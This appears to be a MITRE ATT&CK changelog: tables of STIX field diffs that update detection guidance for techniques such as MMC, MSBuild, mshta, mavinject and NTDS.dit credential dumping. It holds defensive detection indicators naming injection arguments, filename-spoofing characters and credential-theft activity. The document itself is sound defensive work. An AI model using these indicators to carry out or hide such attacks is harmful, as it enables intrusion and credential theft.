New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Command: Command Execution', 'File: File Creation', 'Process: Process Creation'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 20:37:23.449000+00:00 | 2025-10-24 17:49:40.236000+00:00 |
| x_mitre_detection | Monitor processes and command-line parameters for suspicious or malicious use of MMC. Since MMC is a signed Windows binary, verify use of MMC is legitimate and not malicious.
+
+Monitor for creation and use of .msc files. MMC may legitimately be used to call Microsoft-created .msc files, such as services.msc or eventvwr.msc. Invoking non-Microsoft .msc files may be an indicator of malicious activity. |
Current version: 1.4
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Command: Command Execution', 'Process: Process Creation'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 20:37:20.712000+00:00 | 2025-10-24 17:49:22.881000+00:00 |
| x_mitre_detection | Use process monitoring to monitor the execution and arguments of MSBuild.exe. Compare recent invocations of those binaries with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after invocation of the utilities may also be useful in determining the origin and purpose of the binary being executed. |
Current version: 1.2
New Mitigations:
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['Don Le, Stifel Financial'] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:32.320000+00:00 | 2025-10-24 17:48:48.564000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_detection | Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol standards regarding syntax, structure, or any other variable adversaries could leverage to conceal data.(Citation: University of Birmingham C2) |
Current version: 1.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Process: OS API Execution', 'Command: Command Execution'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:49.948000+00:00 | 2025-10-24 17:49:05.200000+00:00 |
| x_mitre_detection | If an adversary is using a standard command-line shell, analysts can detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the runas command. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging)
+
+If an adversary is using a payload that calls the Windows token APIs directly, analysts can detect token manipulation only through careful analysis of user network activity, examination of running processes, and correlation with other endpoint and network behavior.
+
+Analysts can also monitor for use of Windows APIs such as LogonUser and SetThreadToken and correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators. |
Current version: 1.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Application Log: Application Log Content', 'Command: Command Execution', 'Image: Image Creation', 'Container: Container Start', 'Container: Container Creation', 'Instance: Instance Start', 'Instance: Instance Creation'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-25 14:47:40.745000+00:00 | 2025-10-24 17:49:13.999000+00:00 |
| x_mitre_detection | Monitor the local image registry to make sure malicious images are not added. Track the deployment of new containers, especially from newly built images. Monitor the behavior of containers within the environment to detect anomalous behavior or malicious activity after users deploy from malicious images. |
Current version: 1.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_remote_support | False |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['File: File Creation', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Connection Creation'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:59:20.108000+00:00 | 2025-10-24 17:49:35.144000+00:00 |
| x_mitre_detection | Inspect network traffic for indications that a user visited a malicious site, such as links included in phishing campaigns directed at your organization. + +Anti-virus can potentially detect malicious documents and files that are downloaded from a link and executed on the user's computer. |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Malware Repository: Malware Metadata', 'Malware Repository: Malware Content'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 22:47:58.443000+00:00 | 2025-10-24 17:48:58.766000+00:00 |
| x_mitre_detection | Consider analyzing malware for features that may be associated with malware providers, such as compiler used, debugging artifacts, code similarities, or even group identifiers associated with specific MaaS offerings. Malware repositories can also be used to identify additional samples associated with the developers and the adversary utilizing their services. Identifying overlaps in malware use by different adversaries may indicate malware was obtained by the adversary rather than developed by them. In some cases, identifying overlapping characteristics in malware used by different adversaries may point to a shared quartermaster.(Citation: FireEyeSupplyChain) + +Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle. |
Current version: 1.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['File: File Metadata', 'File: File Creation'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:45.702000+00:00 | 2025-10-24 17:49:01.286000+00:00 |
| x_mitre_detection | Monitor compressed/archive and image files downloaded from the Internet as the contents may not be tagged with the MOTW. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities.(Citation: Disable automount for ISO) |
Current version: 1.1
+| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may masquerade malicious payloads as legitimate | t | 1 | Adversaries may masquerade malicious payloads as legitimate |
| > | files through changes to the payload's formatting, including | > | files through changes to the payload's formatting, including | ||
| > | the file’s signature, extension, icon, and contents. Variou | > | the file’s signature, extension, icon, and contents. Variou | ||
| > | s file types have a typical standard format, including how t | > | s file types have a typical standard format, including how t | ||
| > | hey are encoded and organized. For example, a file’s signatu | > | hey are encoded and organized. For example, a file’s signatu | ||
| > | re (also known as header or magic bytes) is the beginning by | > | re (also known as header or magic bytes) is the beginning by | ||
| > | tes of a file and is often used to identify the file’s type. | > | tes of a file and is often used to identify the file’s type. | ||
| > | For example, the header of a JPEG file, is <code> 0xFF 0xD | > | For example, the header of a JPEG file, is <code> 0xFF 0xD | ||
| > | 8</code> and the file extension is either `.JPE`, `.JPEG` or | > | 8</code> and the file extension is either `.JPE`, `.JPEG` or | ||
| > | `.JPG`. Adversaries may edit the header’s hex code and/or | > | `.JPG`. Adversaries may edit the header’s hex code and/or | ||
| > | the file extension of a malicious payload in order to bypas | > | the file extension of a malicious payload in order to bypas | ||
| > | s file validation checks and/or input sanitization. This beh | > | s file validation checks and/or input sanitization. This beh | ||
| > | avior is commonly used when payload files are transferred (e | > | avior is commonly used when payload files are transferred (e | ||
| > | .g., [Ingress Tool Transfer](https://attack.mitre.org/techni | > | .g., [Ingress Tool Transfer](https://attack.mitre.org/techni | ||
| > | ques/T1105)) and stored (e.g., [Upload Malware](https://atta | > | ques/T1105)) and stored (e.g., [Upload Malware](https://atta | ||
| > | ck.mitre.org/techniques/T1608/001)) so that adversaries may | > | ck.mitre.org/techniques/T1608/001)) so that adversaries may | ||
| > | move their malware without triggering detections. Common n | > | move their malware without triggering detections. Common n | ||
| > | on-executable file types and extensions, such as text files | > | on-executable file types and extensions, such as text files | ||
| > | (`.txt`) and image files (`.jpg`, `.gif`, etc.) may be typic | > | (`.txt`) and image files (`.jpg`, `.gif`, etc.) may be typic | ||
| > | ally treated as benign. Based on this, adversaries may use | > | ally treated as benign. Based on this, adversaries may use | ||
| > | a file extension to disguise malware, such as naming a PHP b | > | a file extension to disguise malware, such as naming a PHP b | ||
| > | ackdoor code with a file name of <code>test.gif</code>. A us | > | ackdoor code with a file name of <code>test.gif</code>. A us | ||
| > | er may not know that a file is malicious due to the benign a | > | er may not know that a file is malicious due to the benign a | ||
| > | ppearance and file extension. Polygot files, which are file | > | ppearance and file extension. Polyglot files, which are fil | ||
| > | s that have multiple different file types and that function | > | es that have multiple different file types and that function | ||
| > | differently based on the application that will execute them, | > | differently based on the application that will execute them | ||
| > | may also be used to disguise malicious malware and capabili | > | , may also be used to disguise malicious malware and capabil | ||
| > | ties.(Citation: polygot_icedID) | > | ities.(Citation: polygot_icedID) | ||
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['File: File Modification', 'Command: Command Execution'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:12.855000+00:00 | 2025-10-08 17:44:11.183000+00:00 |
| description | Adversaries may masquerade malicious payloads as legitimate files through changes to the payload's formatting, including the file’s signature, extension, icon, and contents. Various file types have a typical standard format, including how they are encoded and organized. For example, a file’s signature (also known as header or magic bytes) is the beginning bytes of a file and is often used to identify the file’s type. For example, the header of a JPEG file, is 0xFF 0xD8 and the file extension is either `.JPE`, `.JPEG` or `.JPG`.
+
+Adversaries may edit the header’s hex code and/or the file extension of a malicious payload in order to bypass file validation checks and/or input sanitization. This behavior is commonly used when payload files are transferred (e.g., [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)) and stored (e.g., [Upload Malware](https://attack.mitre.org/techniques/T1608/001)) so that adversaries may move their malware without triggering detections.
+
+Common non-executable file types and extensions, such as text files (`.txt`) and image files (`.jpg`, `.gif`, etc.) may be typically treated as benign. Based on this, adversaries may use a file extension to disguise malware, such as naming a PHP backdoor code with a file name of test.gif. A user may not know that a file is malicious due to the benign appearance and file extension.
+
+Polygot files, which are files that have multiple different file types and that function differently based on the application that will execute them, may also be used to disguise malicious malware and capabilities.(Citation: polygot_icedID) | Adversaries may masquerade malicious payloads as legitimate files through changes to the payload's formatting, including the file’s signature, extension, icon, and contents. Various file types have a typical standard format, including how they are encoded and organized. For example, a file’s signature (also known as header or magic bytes) is the beginning bytes of a file and is often used to identify the file’s type. For example, the header of a JPEG file, is 0xFF 0xD8 and the file extension is either `.JPE`, `.JPEG` or `.JPG`.
+
+Adversaries may edit the header’s hex code and/or the file extension of a malicious payload in order to bypass file validation checks and/or input sanitization. This behavior is commonly used when payload files are transferred (e.g., [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)) and stored (e.g., [Upload Malware](https://attack.mitre.org/techniques/T1608/001)) so that adversaries may move their malware without triggering detections.
+
+Common non-executable file types and extensions, such as text files (`.txt`) and image files (`.jpg`, `.gif`, etc.) may be typically treated as benign. Based on this, adversaries may use a file extension to disguise malware, such as naming a PHP backdoor code with a file name of test.gif. A user may not know that a file is malicious due to the benign appearance and file extension.
+
+Polyglot files, which are files that have multiple different file types and that function differently based on the application that will execute them, may also be used to disguise malicious malware and capabilities.(Citation: polygot_icedID) |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_contributors[1] | Ben Smith, @cyberg3cko | Ben Smith |
Current version: 1.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Scheduled Job: Scheduled Job Modification', 'Service: Service Creation', 'Command: Command Execution', 'Service: Service Metadata', 'Scheduled Job: Scheduled Job Metadata'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 22:48:29.215000+00:00 | 2025-10-24 17:49:00.215000+00:00 |
| x_mitre_detection | Look for changes to tasks and services that do not correlate with known software, patch cycles, etc. Suspicious program execution through scheduled tasks or services may show up as outlier processes that have not been seen before when compared against historical data. Monitor processes and command-line arguments for actions that could be taken to create tasks or services. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. |
Current version: 1.8
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['File: File Modification', 'Process: Process Metadata', 'Service: Service Creation', 'Service: Service Metadata', 'Process: Process Creation', 'Image: Image Metadata', 'Scheduled Job: Scheduled Job Metadata', 'User Account: User Account Creation', 'File: File Metadata', 'Scheduled Job: Scheduled Job Modification', 'Command: Command Execution', 'Process: OS API Execution'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:26.186000+00:00 | 2025-10-24 17:48:42.609000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_detection | Collect file hashes; file names that do not match their expected hash are suspect. Perform file monitoring; files with known names but in unusual locations are suspect. Likewise, files that are modified outside of an update or patch are suspect. + +If file names are mismatched between the file name on disk and that of the binary's PE metadata, this is a likely indicator that a binary was renamed after it was compiled. Collecting and comparing disk and resource filenames for binaries by looking to see if the InternalName, OriginalFilename, and/or ProductName match what is expected could provide useful leads, but may not always be indicative of malicious activity. (Citation: Elastic Masquerade Ball) Do not focus on the possible names a file could have, but instead on the command-line arguments that are known to be used and are distinct because it will have a better rate of detection.(Citation: Twitter ItsReallyNick Masquerading Update) + +Look for indications of common characters that may indicate an attempt to trick users into misidentifying the file type, such as a space as the last character of a file name or the right-to-left override characters"\u202E", "[U+202E]", and "%E2%80%AE”. |
Current version: 2.0
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['File: File Metadata', 'Image: Image Metadata', 'Process: Process Metadata', 'Process: Process Creation'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:11.443000+00:00 | 2025-10-24 17:48:28.950000+00:00 |
| x_mitre_detection | Collect file hashes; file names that do not match their expected hash are suspect. Perform file monitoring; files with known names but in unusual locations are suspect. Likewise, files that are modified outside of an update or patch are suspect. + +If file names are mismatched between the file name on disk and that of the binary's PE metadata, this is a likely indicator that a binary was renamed after it was compiled. Collecting and comparing disk and resource filenames for binaries by looking to see if the InternalName, OriginalFilename, and/or ProductName match what is expected could provide useful leads, but may not always be indicative of malicious activity. (Citation: Elastic Masquerade Ball) Do not focus on the possible names a file could have, but instead on the command-line arguments that are known to be used and are distinct because it will have a better rate of detection.(Citation: Twitter ItsReallyNick Masquerading Update) + +In containerized environments, use image IDs and layer hashes to compare images instead of relying only on their names.(Citation: Docker Images) Monitor for the unexpected creation of new resources within your cluster in Kubernetes, especially those created by atypical users. |
Current version: 2.0
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Command: Command Execution', 'Process: Process Creation'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 22:48:44.734000+00:00 | 2025-10-24 17:48:28.606000+00:00 |
| x_mitre_detection | Monitor the execution and arguments of mavinject.exe. Compare recent invocations of mavinject.exe with prior history of known good arguments and injected DLLs to determine anomalous and potentially adversarial activity.
+
+Adversaries may rename abusable binaries to evade detections, but the argument INJECTRUNNING is required for mavinject.exe to perform [Dynamic-link Library Injection](https://attack.mitre.org/techniques/T1055/001) and may therefore be monitored to alert malicious activity. |
Current version: 2.6
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Application Log: Application Log Content', 'Process: Process Access', 'Logon Session: Logon Session Creation', 'Active Directory: Active Directory Object Modification', 'User Account: User Account Authentication', 'Process: OS API Execution', 'Windows Registry: Windows Registry Key Creation', 'File: File Creation', 'User Account: User Account Modification', 'File: File Modification', 'Module: Module Load', 'Cloud Service: Cloud Service Modification', 'Windows Registry: Windows Registry Key Modification'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:59:21.746000+00:00 | 2025-10-24 17:49:36.944000+00:00 |
| x_mitre_detection | Monitor for new, unfamiliar DLL files written to a domain controller and/or local computer. Monitor for changes to Registry entries for password filters (ex: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Notification Packages) and correlate then investigate the DLL files these files reference.
+
+Password filters will also show up as an autorun and loaded DLL in lsass.exe.(Citation: Clymb3r Function Hook Passwords Sept 2013)
+
+Monitor for calls to OpenProcess that can be used to manipulate lsass.exe running on a domain controller as well as for malicious modifications to functions exported from authentication-related system DLLs (such as cryptdll.dll and samsrv.dll).(Citation: Dell Skeleton)
+
+Monitor PAM configuration and module paths (ex: /etc/pam.d/) for changes. Use system-integrity tools such as AIDE and monitoring tools such as auditd to monitor PAM files.
+
+Monitor for suspicious additions to the /Library/Security/SecurityAgentPlugins directory.(Citation: Xorrior Authorization Plugins)
+
+Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services. (Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).
+
+Monitor property changes in Group Policy that manage authentication mechanisms (i.e. [Group Policy Modification](https://attack.mitre.org/techniques/T1484/001)). The Store passwords using reversible encryption configuration should be set to Disabled. Additionally, monitor and/or block suspicious command/script execution of -AllowReversiblePasswordEncryption $true, Set-ADUser and Set-ADAccountControl. Finally, monitor Fine-Grained Password Policies and regularly audit user accounts and group settings.(Citation: dump_pwd_dcsync)
+ |
Current version: 1.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Instance: Instance Metadata', 'Instance: Instance Stop', 'Snapshot: Snapshot Creation', 'Volume: Volume Modification', 'Instance: Instance Modification', 'Instance: Instance Creation', 'Volume: Volume Metadata', 'Instance: Instance Start', 'Cloud Service: Cloud Service Metadata', 'Volume: Volume Creation', 'Snapshot: Snapshot Modification', 'Snapshot: Snapshot Metadata', 'Volume: Volume Deletion', 'Snapshot: Snapshot Deletion', 'Instance: Instance Deletion'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 22:49:33.134000+00:00 | 2025-10-24 17:48:26.284000+00:00 |
| x_mitre_detection | Establish centralized logging for the activity of cloud compute infrastructure components. Monitor for suspicious sequences of events, such as the creation of multiple snapshots within a short period of time or the mount of a snapshot to a new instance by a new or unexpected user. To reduce false positives, valid change management procedures could introduce a known identifier that is logged with the change (e.g., tag or header) if supported by the cloud provider, to help distinguish valid, expected actions from malicious ones. |
Current version: 2.0
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Windows Registry: Windows Registry Key Modification', 'Process: OS API Execution', 'Network Traffic: Network Traffic Flow', 'Command: Command Execution', 'Windows Registry: Windows Registry Key Deletion', 'Windows Registry: Windows Registry Key Creation', 'Process: Process Creation'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:33.486000+00:00 | 2025-10-24 17:48:49.294000+00:00 |
| x_mitre_detection | Modifications to the Registry are normal and occur throughout typical use of the Windows operating system. Consider enabling Registry Auditing on specific keys to produce an alertable event (Event ID 4657) whenever a value is changed (though this may not trigger when values are created with Reghide or other evasive methods). (Citation: Microsoft 4657 APR 2017) Changes to Registry entries that load software on Windows startup that do not correlate with known software, patch cycles, etc., are suspicious, as are additions or changes to files within the startup folder. Changes could also include new services and modification of existing binary paths to point to malicious files. If a change to a service-related entry occurs, then it will likely be followed by a local or remote service start or restart to execute the file. + +Monitor processes and command-line arguments for actions that could be taken to change or delete information in the Registry. Remote access tools with built-in features may interact directly with the Windows API to gather information. The Registry may also be modified through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), which may require additional logging features to be configured in the operating system to collect necessary information for analysis. + +Monitor for processes, command-line arguments, and API calls associated with concealing Registry keys, such as Reghide. (Citation: Microsoft Reghide NOV 2006) Inspect and cleanup malicious hidden Registry entries using Native Windows API calls and/or tools such as Autoruns (Citation: SpectorOps Hiding Reg Jul 2017) and RegDelNull (Citation: Microsoft RegDelNull July 2016). |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['File: File Modification'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-25 15:15:59.227000+00:00 | 2025-10-24 17:49:13.730000+00:00 |
| x_mitre_detection | Most embedded network devices provide a command to print the version of the currently running operating system. Use this command to query the operating system for its version number and compare it to what is expected for the device in question. Because this method may be used in conjunction with [Patch System Image](https://attack.mitre.org/techniques/T1601/001), it may be appropriate to also verify the integrity of the vendor provided operating system image file. + +Compare the checksum of the operating system file with the checksum of a known good copy from a trusted source. Some embedded network device platforms may have the capability to calculate the checksum of the file, while others may not. Even for those platforms that have the capability, it is recommended to download a copy of the file to a trusted computer to calculate the checksum with software that is not compromised. (Citation: Cisco IOS Software Integrity Assurance - Image File Verification) + +Many vendors of embedded network devices can provide advanced debugging support that will allow them to work with device owners to validate the integrity of the operating system running in memory. If a compromise of the operating system is suspected, contact the vendor technical support and seek such services for a more thorough inspection of the current running system. (Citation: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification) |
Current version: 2.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Process: Process Creation', 'File: File Creation', 'Command: Command Execution', 'Network Traffic: Network Connection Creation'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-25 14:47:18.707000+00:00 | 2025-10-24 17:49:03.265000+00:00 |
| x_mitre_detection | Use process monitoring to monitor the execution and arguments of mshta.exe. Look for mshta.exe executing raw or obfuscated script within the command-line. Compare recent invocations of mshta.exe with prior history of known good arguments and executed .hta files to determine anomalous and potentially adversarial activity. Command arguments used before and after the mshta.exe invocation may also be useful in determining the origin and purpose of the .hta file being executed. + +Monitor use of HTA files. If they are not typically used within an environment then execution of them may be suspicious |
Current version: 2.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Module: Module Load', 'Network Traffic: Network Connection Creation', 'Process: Process Creation', 'Command: Command Execution'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 20:37:16.547000+00:00 | 2025-10-24 17:48:38.626000+00:00 |
| x_mitre_detection | Use process monitoring to monitor the execution and arguments of msiexec.exe. Compare recent invocations of msiexec.exe with prior history of known good arguments and executed MSI files or DLLs to determine anomalous and potentially adversarial activity. Command arguments used before and after the invocation of msiexec.exe may also be useful in determining the origin and purpose of the MSI files or DLLs being executed. |
Current version: 2.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Driver: Driver Load', 'Process: OS API Execution', 'Windows Registry: Windows Registry Key Modification'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 22:50:08.274000+00:00 | 2025-10-24 17:49:29.231000+00:00 |
| x_mitre_detection | Detecting use of proxied smart card connections by an adversary may be difficult because it requires the token to be inserted into a system; thus it is more likely to be in use by a legitimate user and blend in with other network behavior. + +Similar to [Input Capture](https://attack.mitre.org/techniques/T1056), keylogging activity can take various forms but can may be detected via installation of a driver, setting a hook, or usage of particular API calls associated with polling to intercept keystrokes. |
Current version: 1.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['User Account: User Account Authentication', 'Logon Session: Logon Session Metadata', 'Application Log: Application Log Content', 'Logon Session: Logon Session Creation'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 22:50:21.216000+00:00 | 2025-10-24 17:49:07.399000+00:00 |
| x_mitre_detection | Monitor user account logs as well as 2FA/MFA application logs for suspicious events: unusual login attempt source location, mismatch in location of login attempt and smart device receiving 2FA/MFA request prompts, and high volume of repeated login attempts, all of which may indicate user's primary credentials have been compromised minus 2FA/MFA mechanism. |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Connection Creation'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-25 15:15:50.032000+00:00 | 2025-10-24 17:49:03.646000+00:00 |
| x_mitre_detection | Host data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure. Relating subsequent actions that may result from Discovery of the system and network information or Lateral Movement to the originating process may also yield useful data. |
Current version: 1.3
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Command: Command Execution', 'File: File Access'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:59:19.862000+00:00 | 2025-10-24 17:49:34.852000+00:00 |
| x_mitre_detection | Monitor processes and command-line arguments for program execution that may be indicative of credential dumping, especially attempts to access or copy the NTDS.dit. |
Current version: 1.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Command: Command Execution', 'File: File Modification', 'Process: Process Creation', 'File: File Metadata', 'Process: OS API Execution'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:59:20.821000+00:00 | 2025-10-24 17:49:35.944000+00:00 |
| x_mitre_detection | Forensic techniques exist to identify information stored in NTFS EA. (Citation: Journey into IR ZeroAccess NTFS EA) Monitor calls to the ZwSetEaFile and ZwQueryEaFile Windows API functions as well as binaries used to interact with EA, (Citation: Oddvar Moe ADS1 Jan 2018) (Citation: Oddvar Moe ADS2 Apr 2018) and consider regularly scanning for the presence of modified information. (Citation: SpectorOps Host-Based Jul 2017)
+
+There are many ways to create and interact with ADSs using Windows utilities. Monitor for operations (execution, copies, etc.) with file names that contain colons. This syntax (ex: file.ext:ads[.ext]) is commonly associated with ADSs. (Citation: Microsoft ADS Mar 2014) (Citation: Oddvar Moe ADS1 Jan 2018) (Citation: Oddvar Moe ADS2 Apr 2018) For a more exhaustive list of utilities that can be used to execute and create ADSs, see https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f.
+
+The Streams tool of Sysinternals can be used to uncover files with ADSs. The dir /r command can also be used to display ADSs. (Citation: Symantec ADS May 2009) Many PowerShell commands (such as Get-Item, Set-Item, Remove-Item, and Get-ChildItem) can also accept a -stream parameter to interact with ADSs. (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014) |
Current version: 2.3
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_remote_support | False |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Process: OS API Execution', 'Module: Module Load'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:23.043000+00:00 | 2025-10-24 17:48:39.785000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_detection | Monitoring API calls may generate a significant amount of data and may not be useful for defense unless collected under specific circumstances, since benign use of API functions are common and may be difficult to distinguish from malicious behavior. Correlation of other events with behavior surrounding API function calls using API monitoring will provide additional context to an event that may assist in determining if it is due to malicious behavior. Correlation of activity by process lineage by process ID may be sufficient. + +Utilization of the Windows APIs may involve processes loading/accessing system DLLs associated with providing called functions (ex: ntdll.dll, kernel32.dll, advapi32.dll, user32.dll, and gdi32.dll). Monitoring for DLL loads, especially to abnormal/unusual or potentially malicious processes, may indicate abuse of the Windows API. Though noisy, this data can be combined with other indicators to identify adversary activity. | |
| x_mitre_contributors[0] | Gordon Long, Box, Inc., @ethicalhax | Gordon Long, LegioX/Zoom, asaurusrex |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Command: Command Execution', 'Windows Registry: Windows Registry Key Modification', 'Module: Module Load', 'Process: Process Creation'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 20:37:23.142000+00:00 | 2025-10-24 17:49:37.405000+00:00 |
| x_mitre_detection | It is likely unusual for netsh.exe to have any child processes in most environments. Monitor process executions and investigate any child processes spawned by netsh.exe for malicious behavior. Monitor the HKLM\SOFTWARE\Microsoft\Netsh registry key for any new or suspicious entries that do not correlate with known system files or benign software.(Citation: Demaske Netsh Persistence) |
Current version: 1.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 20:37:19.349000+00:00 | 2025-10-24 17:49:16.493000+00:00 |
